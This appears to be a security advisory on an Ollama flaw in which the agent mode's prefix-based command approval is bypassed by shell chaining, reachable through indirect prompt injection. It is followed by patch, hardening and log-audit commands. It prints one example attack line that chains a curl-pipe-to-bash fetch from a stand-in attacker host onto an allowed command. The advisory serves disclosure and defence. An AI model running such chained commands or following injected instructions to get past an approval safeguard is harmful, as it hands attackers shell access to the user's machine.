The development team behind Ollama, the popular open-source platform for serving large language models locally, has released version 0.31.2 to remediate a dangerous security vulnerability cataloged as CVE-2026-102697. The flaw resides in Ollama's experimental agent execution mode, where command-line approval safeguards could be completely bypassed via shell command chaining, allowing an unprompted model or an indirect prompt injection exploit to run arbitrary shell commands with the privileges of the Ollama process.

Vulnerability Mechanics: Prefix Approval vs. Shell Metacharacter Chaining

In experimental agent mode, Ollama allows models to propose terminal commands. To protect users from untrusted model autonomy, the runtime prompts the user for confirmation or checks the proposed command against an allowlist of permitted safe prefixes (such as git status or cat README.md).

Under CVE-2026-102697, the validation engine evaluated only the prefix of the command string without sanitizing shell separator tokens. An attacker supplying a prompt (or an indirect prompt injection contained within a retrieved document) could persuade the model to issue commands like:

cat README.md ; curl -s http://attacker.com/rev.sh | bash

The validation routine approved the command because the leading token matched the permitted safe utility. However, when passed to the underlying shell interpreter via exec, the shell evaluated both expressions, silently executing the secondary payload on the operator's workstation.

Vulnerable Software Versions & Patch Status Matrix

Software Component Vulnerable Versions Fixed / Remediated Release Remediation Action Required
Ollama Host Daemon (Linux / macOS / Windows) Versions < 0.31.2 Ollama 0.31.2 Reinstall binary via official installation script
Ollama Official Docker Image Image tags < 0.31.2 ollama/ollama:0.31.2 Pull updated image and redeploy container

Step-by-Step Remediation Playbook & Patch Commands

Security teams and software developers utilizing Ollama must take immediate remediation steps:

  1. Update Ollama Host Installation:
    # Download and apply the official updated release script
    curl -fsSL https://ollama.com/install.sh | sh
    
    # Restart the systemd service (Linux)
    sudo systemctl restart ollama
    
    # Verify installed build string
    ollama --version
    # Expected: ollama version is 0.31.2 or higher
  2. Update Dockerized Ollama Deployments:
    # Pull the patched image
    docker pull ollama/ollama:0.31.2
    
    # Run container with rootless user and dropped privileges
    docker run -d --user 1000:1000 --cap-drop=ALL -v ollama:/root/.ollama -p 11434:11434 ollama/ollama:0.31.2
  3. Disable Experimental Agent Features: Ensure configuration files do not enable unprompted agent shell execution:
    # Inspect environment configuration
    systemctl show ollama --property=Environment | grep -i "AGENT"

Forensic Audit for Shell Chaining Execution

Inspect Ollama journal logs for unexpected command concatenation metacharacters:

# Query systemd journal for Ollama agent command executions containing metacharacters
journalctl -u ollama --since "7 days ago" | grep -E "exec.*[;&|`$]"